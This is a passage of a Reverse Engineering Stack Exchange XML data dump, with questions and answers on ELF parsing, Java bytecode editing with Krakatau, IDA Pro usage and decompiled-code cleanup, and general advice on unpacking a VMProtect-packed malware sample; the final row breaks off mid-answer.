  <row Id="17623" PostTypeId="2" ParentId="17622" CreationDate="2018-03-06T18:04:44.410" Score="1" Body="&lt;p&gt;According to &lt;a href=&quot;http://www.skyfree.org/linux/references/ELF_Format.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF-format&lt;/a&gt; &lt;code&gt;SHT_PROGBITS&lt;/code&gt; meens only that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The section holds information defined by the program, whose format and meaning are determined solely by the program.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But ELF-section's type is not the only (and not main) attribute for parsing data from file. There are also section's &lt;strong&gt;name&lt;/strong&gt; and &lt;strong&gt;attributes&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sections like &lt;code&gt;.text&lt;/code&gt; and &lt;code&gt;.data&lt;/code&gt; also have &lt;code&gt;SHT_PROGBITS&lt;/code&gt;-type, but their names are &lt;strong&gt;special&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally (and very simply) the process of ELF-parsing is so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read File header&lt;/li&gt;&#xA;&lt;li&gt;Read Section Headers table&lt;/li&gt;&#xA;&lt;li&gt;Read Symbol table&lt;/li&gt;&#xA;&lt;li&gt;Make Relocations&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;More info you can take from IDA's ELF-loader (&lt;code&gt;IDA_Dir\loaders\elf.ldw&lt;/code&gt; (or dll)) or from a tools like &lt;strong&gt;readelf&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22987" LastActivityDate="2018-03-06T18:04:44.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17624" PostTypeId="2" ParentId="17587" CreationDate="2018-03-07T08:48:41.670" Score="0" Body="&lt;p&gt;Usually there's some way to switch the usb drive into programming mode. Then usb drive is being shown as some new usb device, to which a flasher program can connect and upload/download the firmware. In most cases switching to this programming mode requires to connect specific pins on the usb drive board. Or it automatically switches to the programming mode when usb drive firmware gets corrupted.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-03-07T08:48:41.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17625" PostTypeId="2" ParentId="13335" CreationDate="2018-03-07T11:09:33.413" Score="0" Body="&lt;p&gt;low rep so i'll post my comments here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;BurpSuite&lt;/code&gt;: you'll have to modify the &lt;code&gt;hosts&lt;/code&gt; file then on &lt;code&gt;Burp Suite&lt;/code&gt;, listen on your target port via &lt;code&gt;transparent proxy&lt;/code&gt;. You might have to enter all &lt;strong&gt;65535&lt;/strong&gt; ports though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;Packet Capture&lt;/code&gt;: sure it can &lt;strong&gt;decrypt&lt;/strong&gt; SSL traffic. However, if &lt;code&gt;Wireshark&lt;/code&gt; level &lt;code&gt;pcap&lt;/code&gt; is what you are looking for, &lt;code&gt;Packet Capture&lt;/code&gt; is still not enough.&lt;/p&gt;&#xA;" OwnerUserId="23526" LastActivityDate="2018-03-07T11:09:33.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17629" PostTypeId="1" CreationDate="2018-03-07T17:21:01.647" Score="0" ViewCount="490" Body="&lt;p&gt;I use Krakatau to edit java code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class test{&#xA;&#xA;public boolean Func2(String text)&#xA;{&#xA;    if(text==&quot;aaaaaa&quot;)&#xA;        return true;&#xA;    return false;&#xA;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I compile it I get this java bytecode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.version 53 0 &#xA;.class super [3] &#xA;.super [4] &#xA;&#xA;.method [5] : [6] &#xA;    .attribute [7] .code stack 1 locals 1 &#xA;L0:     aload_0 &#xA;L1:     invokespecial [1] &#xA;L4:     return &#xA;L5:     &#xA;        .attribute [8] .linenumbertable &#xA;            L0 1 &#xA;        .end linenumbertable &#xA;    .end code &#xA;.end method &#xA;&#xA;.method public [9] : [10] &#xA;    .attribute [7] .code stack 2 locals 2 &#xA;**L0:     aload_1 &#xA;L1:     ldc [2] &#xA;L3:     if_acmpne L8 &#xA;L6:     iconst_1 &#xA;L7:     ireturn** &#xA;&#xA;        .stack same &#xA;L8:     iconst_0 &#xA;L9:     ireturn &#xA;L10:    &#xA;        .attribute [8] .linenumbertable &#xA;            L0 5 &#xA;            L6 6 &#xA;            L8 7 &#xA;        .end linenumbertable &#xA;        .attribute [11] .stackmaptable &#xA;    .end code &#xA;.end method &#xA;.attribute [12] .sourcefile [13] &#xA;.const [1] = Method [4] [14] &#xA;.const [2] = String [15] &#xA;.const [3] = Class [16] &#xA;.const [4] = Class [17] &#xA;.const [5] = Utf8 &amp;lt;init&amp;gt; &#xA;.const [6] = Utf8 ()V &#xA;.const [7] = Utf8 Code &#xA;.const [8] = Utf8 LineNumberTable &#xA;.const [9] = Utf8 Func2 &#xA;.const [10] = Utf8 (Ljava/lang/String;)Z &#xA;.const [11] = Utf8 StackMapTable &#xA;.const [12] = Utf8 SourceFile &#xA;.const [13] = Utf8 'test.java' &#xA;.const [14] = NameAndType [5] [6] &#xA;.const [15] = Utf8 aaaaaa &#xA;.const [16] = Utf8 test &#xA;.const [17] = Utf8 java/lang/Object &#xA;.end class &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to replace &lt;code&gt;text==&quot;aaaaaa&quot;&lt;/code&gt; with &lt;code&gt;text.equals(&quot;ABCD&quot;)&lt;/code&gt; &#xA;I know I need to reaplce&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;L3:     if_acmpne L8 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invokevirtual java/lang/String/equals(Ljava/lang/Object;)Z&#xA;ifeq (the line I want to jump)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But Krakatau not get this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;invokevirtual java/lang/String/equals(Ljava/lang/Object;)Z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what is the right and easy way to replace &lt;code&gt;==&lt;/code&gt; with &lt;code&gt;equals&lt;/code&gt; with Krakatau? I dont want to recompile my code .&lt;/p&gt;&#xA;" OwnerUserId="23529" LastEditorUserId="60" LastEditDate="2018-03-12T19:40:58.497" LastActivityDate="2018-06-10T21:25:40.567" Title="How add String.equals to java bytecode (Krakatau)" Tags="|decompilation|java|byte-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17630" PostTypeId="2" ParentId="17593" CreationDate="2018-03-07T18:11:30.143" Score="8" Body="&lt;p&gt;Answering my own question: I sent an email to Hex-Rays and got back the answer in like minutes. The answer is using &lt;code&gt;idaapi.get_arg_addrs()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, given the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD:FFFFFFFF82491188                 mov     rdi, offset unk_FFFFFFFF832EF148 ; a1&#xA;LOAD:FFFFFFFF8249118F                 mov     rsi, rbx        ; a2&#xA;LOAD:FFFFFFFF82491192                 xor     edx, edx        ; a3&#xA;LOAD:FFFFFFFF82491194                 xor     ecx, ecx&#xA;LOAD:FFFFFFFF82491196                 xor     r8d, r8d&#xA;LOAD:FFFFFFFF82491199                 call    _sx_xlock_hard&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By running idaapi.get_arg_address(0xFFFFFFFF82491199) it would return the address of the 3 arguments in the order they are given when the function is called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;print map(hex, idaapi.get_arg_addrs(here()))&#xA;['0xffffffff82491188L', '0xffffffff8249118fL', '0xffffffff82491192L']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-03-07T18:11:30.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17631" PostTypeId="2" ParentId="17604" CreationDate="2018-03-07T18:33:59.467" Score="1" Body="&lt;p&gt;Note: I never unpacked VMProtect myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking at a sample unpackme, all intermodular calls that normally pointed to the IAT, are replaced with direct calls to what I think are obfuscated redirections inside the VMProtect's section that eventually lead to code inside .dlls. It's possible the executable will function if dumped correctly without rebuilding the import table, but it won't work after a reboot when .dll addresses change. Easy but unreliable ways of knowing which redirection leads to which imported function I can think of are by tracing or setting execution breakpoints on imported .dlls and calling the redirections. You can also dig deep into the import resolution mechanism of VMProtect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some protections virtualize the entire entrypoint function but I don't know if VMP has that as a feature. This means setting a page guard on the executable section won't break on the OEP - it's going to break on the first non-virtualized function called by the OEP function. The virtualized OEP function executes inside the protector's section. So if the OEP is virtualized what I'd try doing is finding the VM entry for that function (in VMProtect it's a push  + call pattern) and setting the entrypoint to that when dumping. You can also paste the entrypoint function from another unprotected executable - for example if you have an earlier unprotected build of this malware compiled in the same environment in which case it's possible you even can borrow the imports.&lt;/p&gt;&#xA;" OwnerUserId="23533" LastActivityDate="2018-03-07T18:33:59.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17632" PostTypeId="1" CreationDate="2018-03-07T18:45:29.883" Score="6" ViewCount="7118" Body="&lt;p&gt;For example, the plugin fluorescence.py is a very small tool that adds a choice in the &quot;Options&quot; menu of IDA to highlight call instructions.  It is supposed to work upon dropping it into the plugins directory.  Do such plugins only work on IDA Pro or can they be used with the free version?&lt;/p&gt;&#xA;" OwnerUserId="23534" LastActivityDate="2018-03-08T10:46:30.293" Title="Do IDA Python plugins work with IDA free or only IDA pro?" Tags="|ida|" AnswerCount="1" CommentCount="2" ClosedDate="2018-03-08T21:24:52.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="17633" PostTypeId="2" ParentId="17611" CreationDate="2018-03-07T19:22:37.217" Score="5" Body="&lt;p&gt;The thing about &quot;decompiled&quot; code is, it doesn't really say much about what the author was trying to do. It is simply the compiler's view on what the code meant, and the compiler will optimize away most of the readability. :P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take that &quot;decompiled&quot; function, and first off, let's turn it into compilable C.&#xA;For the most part, that just means stripping off the &lt;code&gt;@&amp;lt;register&amp;gt;&lt;/code&gt; stuff from the function and parameter names. We don't care about registers any more. That's the compiler's job. :P&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_10001000(unsigned int a1, int a2)&#xA;{&#xA;  unsigned __int16 v2;&#xA;  unsigned int v3;&#xA;&#xA;  v2 = (unsigned __int8)a1;&#xA;  v3 = a1 &amp;gt;&amp;gt; 8;&#xA;&#xA;  return *(_DWORD *)(a2 + 4 * v2 + 3144)&#xA;  + (*(_DWORD *)(a2 + 4 * (unsigned __int8)v3 + 2120) ^ (*(_DWORD *)(a2 &#xA;  + 4 * BYTE1(v3) + 1096) + *(_DWORD *)(a2 + 4 * ((unsigned __int16)(v3 &#xA;  &amp;gt;&amp;gt; 8) &amp;gt;&amp;gt; 8) + 72)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now...see all that &lt;code&gt;*(_DWORD *)&lt;/code&gt; stuff? It happens every time we use &lt;code&gt;a2&lt;/code&gt;. That hints that &lt;code&gt;a2&lt;/code&gt; should be a &lt;code&gt;_DWORD *&lt;/code&gt;. Note that when we do that, C will change what &lt;code&gt;a2 + (whatever)&lt;/code&gt; means. (It'll add (whatever) * the size of a &lt;code&gt;_DWORD&lt;/code&gt;, which is almost certainly 4.) We also have to adjust the stuff inside so that instead of adding 4 * X, we simply add X.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_10001000(unsigned int a1, _DWORD * a2)&#xA;{&#xA;  unsigned __int16 v2;&#xA;  unsigned int v3;&#xA;&#xA;  v2 = (unsigned __int8)a1;&#xA;  v3 = a1 &amp;gt;&amp;gt; 8;&#xA;&#xA;  // 786 = 3144/4, 530 = 2120/4, 274 = 1096/4, 18 = 72/4&#xA;  return *(a2 + v2 + 786) &#xA;  + (*(a2 + (unsigned __int8)v3 + 530) ^ (*(a2&#xA;  + BYTE1(v3) + 274) + *(a2 + ((unsigned __int16)(v3&#xA;  &amp;gt;&amp;gt; 8) &amp;gt;&amp;gt; 8) + 18)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, look at the things we're doing with &lt;code&gt;v2&lt;/code&gt; and &lt;code&gt;v3&lt;/code&gt;. Converting them to 8-bit unsigned integers, shifting them by 8...taking &quot;byte 1&quot;...etc. And it's all based on &lt;code&gt;a1&lt;/code&gt;. Basically, this code is treating &lt;code&gt;a1&lt;/code&gt; not as one 32-bit integer, but as &lt;em&gt;four 8-bit integers&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;v2&lt;/code&gt; is &lt;code&gt;a1&lt;/code&gt; converted to an unsigned byte. The effect that &lt;code&gt;v2&lt;/code&gt; is the least significant, ie: first, byte of &lt;code&gt;a1&lt;/code&gt;. &lt;code&gt;v3&lt;/code&gt; is the remaining three bytes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;(unsigned __int8)v3&lt;/code&gt; is the first byte of &lt;code&gt;v3&lt;/code&gt;, making it the second byte of &lt;code&gt;a1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;BYTE1(v3)&lt;/code&gt; uses a function/macro/whatever that is apparently built into IDA. It represents the second byte of &lt;code&gt;v3&lt;/code&gt;, and the third byte of &lt;code&gt;a1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;((unsigned __int16)(v3 &amp;gt;&amp;gt; 8) &amp;gt;&amp;gt; 8)&lt;/code&gt; contains an unnecessary cast, a side effect of decompilation. (&lt;code&gt;v3&lt;/code&gt; is a 24-bit quantity in a 32-bit package, but the decompiler wasn't smart enough to remember that. So it added the cast in order to lop off the high byte, which is already provably zero.) It is equal to &lt;code&gt;v3 &amp;gt;&amp;gt; 16&lt;/code&gt;, which is equivalent to &lt;code&gt;a1 &amp;gt;&amp;gt; 24&lt;/code&gt;, and thus to the fourth byte of &lt;code&gt;a1&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let's add that observation to the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_10001000(unsigned int a1, _DWORD * a2)&#xA;{&#xA;  unsigned __int16 v2;&#xA;  unsigned int v3;&#xA;  unsigned __int8 b0, b1, b2, b3;&#xA;&#xA;  v2 = (unsigned __int8)a1;&#xA;  v3 = a1 &amp;gt;&amp;gt; 8;&#xA;&#xA;  b0 = v2;&#xA;  b1 = (unsigned __int8) v3;&#xA;  b2 = (unsigned __int8) (a1 &amp;gt;&amp;gt; 16);&#xA;  b3 = (unsigned __int8) (a1 &amp;gt;&amp;gt; 24);&#xA;&#xA;  return *(a2 + b0 + 786) + (*(a2 + b1 + 530) ^ (*(a2 + b2 + 274) + *(a2 + b3 + 18)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;C says that &lt;code&gt;*(pointer + offset)&lt;/code&gt; and &lt;code&gt;pointer[offset]&lt;/code&gt; are equivalent. Let's see if this increases readability any.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_10001000(unsigned int a1, _DWORD * a2)&#xA;{&#xA;  unsigned __int16 v2;&#xA;  unsigned int v3;&#xA;  unsigned __int8 b0, b1, b2, b3;&#xA;&#xA;  v2 = (unsigned __int8)a1;&#xA;  v3 = a1 &amp;gt;&amp;gt; 8;&#xA;&#xA;  b0 = v2;&#xA;  b1 = (unsigned __int8) v3;&#xA;  b2 = (unsigned __int8) (a1 &amp;gt;&amp;gt; 16);&#xA;  b3 = (unsigned __int8) (a1 &amp;gt;&amp;gt; 24);&#xA;&#xA;  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the formula even fits on one line now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, since we no longer use &lt;code&gt;v2&lt;/code&gt; and &lt;code&gt;v3&lt;/code&gt; in the function (aside from calculating the byte values, and we can do that ourselves), we can get rid of them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int sub_10001000(unsigned int a1, _DWORD * a2)&#xA;{&#xA;  unsigned __int8 b0, b1, b2, b3;&#xA;&#xA;  b0 = a1;&#xA;  b1 = a1 &amp;gt;&amp;gt; 8;&#xA;  b2 = a1 &amp;gt;&amp;gt; 16;&#xA;  b3 = a1 &amp;gt;&amp;gt; 24;&#xA;&#xA;  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;C has an 8-bit-integer type: &lt;code&gt;uint8_t&lt;/code&gt;. And every modern C compiler knows about it. So we can get rid of these compiler-specific names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since C99, we can declare a variable where it's first initialized.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;int sub_10001000(unsigned int a1, _DWORD * a2)&#xA;{&#xA;  uint8_t b0 = a1;&#xA;  uint8_t b1 = a1 &amp;gt;&amp;gt; 8;&#xA;  uint8_t b2 = a1 &amp;gt;&amp;gt; 16;&#xA;  uint8_t b3 = a1 &amp;gt;&amp;gt; 24;&#xA;&#xA;  return a2[b0 + 786] + (a2[b1 + 530] ^ (a2[b2 + 274] + a2[b3 + 18]));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice now, also...when you put the numbers in order, any two adjacent numbers will have the same difference between them (256). And the first value is not at &lt;code&gt;0&lt;/code&gt;, but at &lt;code&gt;18&lt;/code&gt;. Looks like &lt;code&gt;a2&lt;/code&gt; is actually being treated as a pointer to a struct that looks somewhat like this (as far as we can see)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct example {&#xA;    DWORD unknown[18];&#xA;    DWORD w[256];&#xA;    DWORD x[256];&#xA;    DWORD y[256];&#xA;    DWORD z[256];&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would be used like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;int sub_10001000(unsigned int a1, struct example *ex)&#xA;{&#xA;    uint8_t b0 = a1;&#xA;    uint8_t b1 = a1 &amp;gt;&amp;gt; 8;&#xA;    uint8_t b2 = a1 &amp;gt;&amp;gt; 16;&#xA;    uint8_t b3 = a1 &amp;gt;&amp;gt; 24;&#xA;&#xA;    return ex-&amp;gt;z[b0] + (ex-&amp;gt;y[b1] ^ (ex-&amp;gt;x[b2] + ex-&amp;gt;w[b3]));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But we can't know much more from this code alone -- including what the function is supposed to do -- so it's impossible to come up with much more meaningful names. The rest of the code should help with that.&lt;/p&gt;&#xA;" OwnerUserId="6898" LastEditorUserId="6898" LastEditDate="2018-06-26T13:08:28.123" LastActivityDate="2018-06-26T13:08:28.123" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="17635" PostTypeId="2" ParentId="17604" CreationDate="2018-03-08T00:45:47.317" Score="2" Body="&lt;p&gt;Since you say it's &lt;strong&gt;malware&lt;/strong&gt; please provide either the &lt;strong&gt;SHA256/MD5&lt;/strong&gt; hash or a Virustotal/Hybrid-analysis link of the target so that I can take a quick look at it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;VMP and its protection mechanisms differ &lt;em&gt;wildly&lt;/em&gt; in terms of complexity and characteristics between versions and even builds, in some cases.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, many techniques of finding the OEP and rebuilding the IAT which are successful for targets packed with VMP &lt;strong&gt;v2.xx&lt;/strong&gt; fail miserably when attempted on targets packed with VMP &lt;strong&gt;v3.xx&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such its &lt;strong&gt;impossible&lt;/strong&gt; to characterize and give a detailed canonical answer that would address &lt;strong&gt;all&lt;/strong&gt; concerns and cover &lt;strong&gt;all&lt;/strong&gt; versions of VMP.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I guess &lt;em&gt;can&lt;/em&gt; be done is that if you give us the links/hashes of the malware, I would be able to take a look at it and then discuss the answer in the context of &lt;strong&gt;that&lt;/strong&gt; version VMProtect used to pack the malware.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; :Since VMProtect is a &lt;em&gt;commercial&lt;/em&gt; protector, I understand would be appropriate to discuss it only in the context of reversing the &lt;em&gt;malware&lt;/em&gt; that was protected with it, to avoid this question being closed off as being off-topic or too broad..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence I guess that unless you can give us more details of the target you are attempting to reverse, we cannot proceed further.&lt;/p&gt;&#xA;" OwnerUserId="18402" LastActivityDate="2018-03-08T00:45:47.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17637" PostTypeId="2" ParentId="17587" CreationDate="2018-03-08T04:24:04.083" Score="1" Body="&lt;p&gt;Sorry that I do not have enough reps to comment. So writing this as an answer instead.&#xA;The answers to these two questions seem to be be relevant to what you are asking as well. Have a look at them :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3526/how-do-i-extract-a-copy-of-an-unknown-firmware-from-a-hardware-device?rq=1&quot;&gt;How do I extract a copy of an unknown firmware from a hardware device?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2337/how-to-dump-flash-memory-with-spi&quot;&gt;How to dump flash memory with SPI?&lt;/a&gt; (I know its SPI but some of the answers still could be relevant to your situation)&lt;/p&gt;&#xA;" OwnerUserId="21720" LastActivityDate="2018-03-08T04:24:04.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17640" PostTypeId="2" ParentId="17632" CreationDate="2018-03-08T10:46:30.293" Score="6" Body="&lt;p&gt;No, most plugins don't work, without hacks, with the freeware version because various exported functions (like &lt;code&gt;callui&lt;/code&gt;) are either renamed or deleted.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2018-03-08T10:46:30.293" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17642" PostTypeId="2" ParentId="17604" CreationDate="2018-03-08T21:33:16.950" Score="6" Body="&lt;p&gt;Here are a few  links that address your question in a broad manner:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;VMAttack: Deobfuscating Virtualization-Based Packed Binaries&lt;br&gt;&#xA;&lt;a href=&quot;https://www1.cs.fau.de/filepool/publications/unpacking-dynamic-static.pdf&quot; rel=&quot;noreferrer&quot;&gt;Link to PDF Paper&lt;/a&gt; which uses the &lt;a href=&quot;https://github.com/anatolikalysch/VMAttack&quot; rel=&quot;noreferrer&quot;&gt;VMAttack IDA PRO Plugin&lt;/a&gt;.&#xA;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.usenix.org/legacy/events/woot09/tech/full_papers/rolles.pdf&quot; rel=&quot;noreferrer&quot;&gt;Unpacking Virtualization Obfuscators&lt;/a&gt; by Rolf Rolles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unpacking the FinSpy VM, parts &lt;a href=&quot;http://www.msreverseengineering.com/blog/2018/1/23/a-walk-through-tutorial-with-code-on-statically-unpacking-the-finspy-vm-part-one-x86-deobfuscation&quot; rel=&quot;noreferrer&quot;&gt;#1&lt;/a&gt;, &lt;a href=&quot;http://www.msreverseengineering.com/blog/2018/1/31/finspy-vm-part-2-vm-analysis-and-bytecode-disassembly&quot; rel=&quot;noreferrer&quot;&gt;#2&lt;/a&gt;, &lt;a href=&quot;http://www.msreverseengineering.com/blog/2018/2/21/finspy-vm-unpacking-tutorial-part-3-devirtualization&quot; rel=&quot;noreferrer&quot;&gt;#3&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Various &lt;a href=&quot;http://www.msreverseengineering.com/research/&quot; rel=&quot;noreferrer&quot;&gt;other articles by Rolf Rolles&lt;/a&gt; .&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21720" LastActivityDate="2018-03-08T21:33:16.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17646" PostTypeId="1" AcceptedAnswerId="17647" CreationDate="2018-03-09T18:52:43.583" Score="3" ViewCount="3872" Body="&lt;p&gt;I've open wsl.exe in IDA v7. With Tab key I open pseudocode of &lt;code&gt;sub_1400129F4&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64 sub_1400129F4(__int64 a1, __int64 a2, __int64 a3, __int64 a4, ...) {&#xA;......&#xA;&#xA;v8 = (__int64 *)sub_140011A40();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The assembly of  &lt;code&gt;sub_140011A40()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_140011A40 proc near&#xA;lea     rax, unk_14001C2B0&#xA;retn&#xA;sub_140011A40 endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The pseudo code of &lt;code&gt;sub_140011A40()&lt;/code&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void *sub_140011A40() {&#xA;  return &amp;amp;unk_14001C2B0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;.data&lt;/code&gt; sections shows this:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:000000014001C2AE                 db    0&#xA;.data:000000014001C2AF                 db    0&#xA;.data:000000014001C2B0 unk_14001C2B0   db    0                 ; DATA XREF: sub_140011A40↑o&#xA;.data:000000014001C2B1                 db    0&#xA;.data:000000014001C2B2                 db    0&#xA;.data:000000014001C2B3                 db    0&#xA;.data:000000014001C2B4                 db    0&#xA;.data:000000014001C2B5                 db    0&#xA;.data:000000014001C2B6                 db    0&#xA;.data:000000014001C2B7                 db    0&#xA;.data:000000014001C2B8 unk_14001C2B8   db    0                 ; DATA XREF: sub_140011A48↑o&#xA;.data:000000014001C2B9                 db    0&#xA;.data:000000014001C2BA                 db    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Question: What is the &lt;code&gt;unk&lt;/code&gt; in that pseudo code or in that assembly? Does it hold the values of eight zeros from &lt;code&gt;.data&lt;/code&gt; section?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="3473" LastEditDate="2018-03-09T21:17:47.370" LastActivityDate="2018-03-09T21:17:47.370" Title="What are the unk in IDA pseudo code?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17647" PostTypeId="2" ParentId="17646" CreationDate="2018-03-09T20:37:17.317" Score="4" Body="&lt;pre&gt;&lt;code&gt;lea rax , unk___xxx &#xA;ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;means the function returns the address not the contents &lt;/p&gt;&#xA;&#xA;&lt;p&gt;lea (load effective address ) is a special kind of mov instruction that load the address not the contents    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the unk is a label ida could not decipher the type so it labelled the address as unk (possibly short form for unknown)    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you select that address and press &lt;strong&gt;d&lt;/strong&gt; ida will replace the unk with byte &#xA;if you press &lt;strong&gt;d&lt;/strong&gt;  again ida will rename the byte to word  etc etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically from your pseudo code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the result would be &lt;code&gt;v8 = &amp;amp;foo()&lt;/code&gt; 